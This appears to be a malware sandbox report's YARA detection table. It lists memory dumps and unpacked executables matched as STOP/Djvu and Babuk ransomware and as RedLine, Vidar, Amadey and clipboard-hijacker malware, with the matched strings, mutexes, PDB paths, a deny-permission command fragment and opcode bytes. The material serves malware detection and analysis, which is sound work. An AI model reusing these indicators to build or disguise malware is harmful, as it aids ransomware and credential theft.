00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000022.00000002.482578416.0000000000887000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000014.00000002.507574434.0000000004050000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: D804.exe PID: 2560	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D804.exe PID: 2560	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x37d0c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: D804.exe PID: 772	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D804.exe PID: 772	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x5f7f1:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: D804.exe PID: 1340	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D804.exe PID: 1340	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x49587:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: D804.exe PID: 6088	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D804.exe PID: 6088	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: D804.exe PID: 6088	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4d185:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: D804.exe PID: 128	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D804.exe PID: 128	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x33503:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: D804.exe PID: 4528	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D804.exe PID: 4528	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: D804.exe PID: 4528	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x64af7:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: aafg31.exe PID: 2336	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
Process Memory Space: build2.exe PID: 4696	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: B46F.exe PID: 4928	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: B46F.exe PID: 4928	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x48fcd:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: B46F.exe PID: 2576	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: B46F.exe PID: 2576	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4da1f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: A170.exe PID: 1868	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A170.exe PID: 1868	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x32e52:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: D804.exe PID: 1264	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D804.exe PID: 1264	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x46e95:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 114 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
30.0.build3.exe.1000000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.0.build3.exe.1000000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 00 01 6A 00 6A 00 FF 15 40 40 00 01 FF 15 2C 40 00 01 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 00 01 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 00 01 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
32.2.build2.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
20.2.3C54.exe.408ef90.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.NewPlayer.exe.60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.A170.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
29.2.A170.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
29.2.A170.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
29.2.A170.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.D804.exe.26915a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
5.2.D804.exe.26915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.D804.exe.26915a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.D804.exe.26915a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.D804.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
16.2.D804.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.D804.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.D804.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
26.2.B46F.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
26.2.B46F.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
26.2.B46F.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
26.2.B46F.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
34.2.913F.exe.24115a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
34.2.913F.exe.24115a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
34.2.913F.exe.24115a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
34.2.913F.exe.24115a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
29.2.A170.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
29.2.A170.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
29.2.A170.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
29.2.A170.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
35.2.mnolyk.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.A170.exe.24c15a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
27.2.A170.exe.24c15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
27.2.A170.exe.24c15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
27.2.A170.exe.24c15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
25.2.B46F.exe.24d15a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
25.2.B46F.exe.24d15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.2.B46F.exe.24d15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.2.B46F.exe.24d15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
40.2.mstsca.exe.9b0000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
40.2.mstsca.exe.9b0000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
40.2.mstsca.exe.9b0000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 9B 00 6A 00 6A 00 FF 15 40 40 9B 00 FF 15 2C 40 9B 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 9B 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 9B 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
22.0.NewPlayer.exe.60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
37.2.913F.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
37.2.913F.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
37.2.913F.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
37.2.913F.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
32.2.build2.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
18.2.D804.exe.24d15a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
18.2.D804.exe.24d15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
